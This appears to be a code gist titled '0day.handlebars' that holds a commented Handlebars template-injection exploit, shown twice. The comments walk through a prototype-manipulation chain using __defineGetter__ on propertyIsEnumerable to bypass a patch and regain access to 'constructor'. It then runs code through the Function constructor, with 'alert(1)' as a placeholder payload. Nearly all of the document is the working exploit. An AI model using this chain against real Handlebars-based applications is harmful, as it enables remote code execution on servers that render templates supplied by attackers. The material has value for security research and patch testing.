itszn/0day.handlebars

## 0day.handlebars
//First we want to create an array
{{#with "a" as |str|}}
{{#with split as |list|}}

//Store some function that returns a truthy value into the array
//We use arrays to hold functions because handlebars will call functions
{{this.pop}}
{{this.push this.toString}}
{{this.pop}}

// Now we want to bind our pop to the list because we will need to use it
// later and handlebars always calls with the current context as this

// Normally there is an issue with bind, because it will be called on the
// current context. So we have to set the current context to the function
// we want to bind. We can't do this with #with because it will call the
// function, but #blockHelperMissing will preserve the function
{{#blockHelperMissing list.pop}}
{{#blockHelperMissing (list.pop.bind list)}}
{{#with this.valueOf as |listPop|}}

// Now we want to use __defineGetter__ to make propertyIsEnumerable always
// return a truthy value. We can assign it using the bound listPop function
{{#blockHelperMissing str.sub}}
{{this.__defineGetter__ "propertyIsEnumerable" listPop}}
{{/blockHelperMissing}}

// Now we have bypassed the patch and can access `constructor` again
{#blockHelperMissing (lookup str.sub "constructor")}}
{/blockHelperMissing}}

// The rest of this is the original RCE payload
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup str.sub "constructor")}}
{{this.pop}}
{{#with str.split as |codelist|}}
{{this.pop}}
{{this.push "alert(1)"}}
{{this.pop}}
{{#each conslist}}
{{#with (str.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}


{{/with}}
{{/blockHelperMissing}}
{{/blockHelperMissing}}

{{/with}}
{{/with}}
	//First we want to create an array
	{{#with "a" as \|str\|}}
	{{#with split as \|list\|}}

	//Store some function that returns a truthy value into the array
	//We use arrays to hold functions because handlebars will call functions
	{{this.pop}}
	{{this.push this.toString}}
	{{this.pop}}

	// Now we want to bind our pop to the list because we will need to use it
	// later and handlebars always calls with the current context as this

	// Normally there is an issue with bind, because it will be called on the
	// current context. So we have to set the current context to the function
	// we want to bind. We can't do this with #with because it will call the
	// function, but #blockHelperMissing will preserve the function
	{{#blockHelperMissing list.pop}}
	{{#blockHelperMissing (list.pop.bind list)}}
	{{#with this.valueOf as \|listPop\|}}

	// Now we want to use __defineGetter__ to make propertyIsEnumerable always
	// return a truthy value. We can assign it using the bound listPop function
	{{#blockHelperMissing str.sub}}
	{{this.__defineGetter__ "propertyIsEnumerable" listPop}}
	{{/blockHelperMissing}}

	// Now we have bypassed the patch and can access `constructor` again
	{#blockHelperMissing (lookup str.sub "constructor")}}
	{/blockHelperMissing}}

	// The rest of this is the original RCE payload
	{{#with "e"}}
	{{#with split as \|conslist\|}}
	{{this.pop}}
	{{this.push (lookup str.sub "constructor")}}
	{{this.pop}}
	{{#with str.split as \|codelist\|}}
	{{this.pop}}
	{{this.push "alert(1)"}}
	{{this.pop}}
	{{#each conslist}}
	{{#with (str.sub.apply 0 codelist)}}
	{{this}}
	{{/with}}
	{{/each}}
	{{/with}}
	{{/with}}
	{{/with}}


	{{/with}}
	{{/blockHelperMissing}}
	{{/blockHelperMissing}}

	{{/with}}
	{{/with}}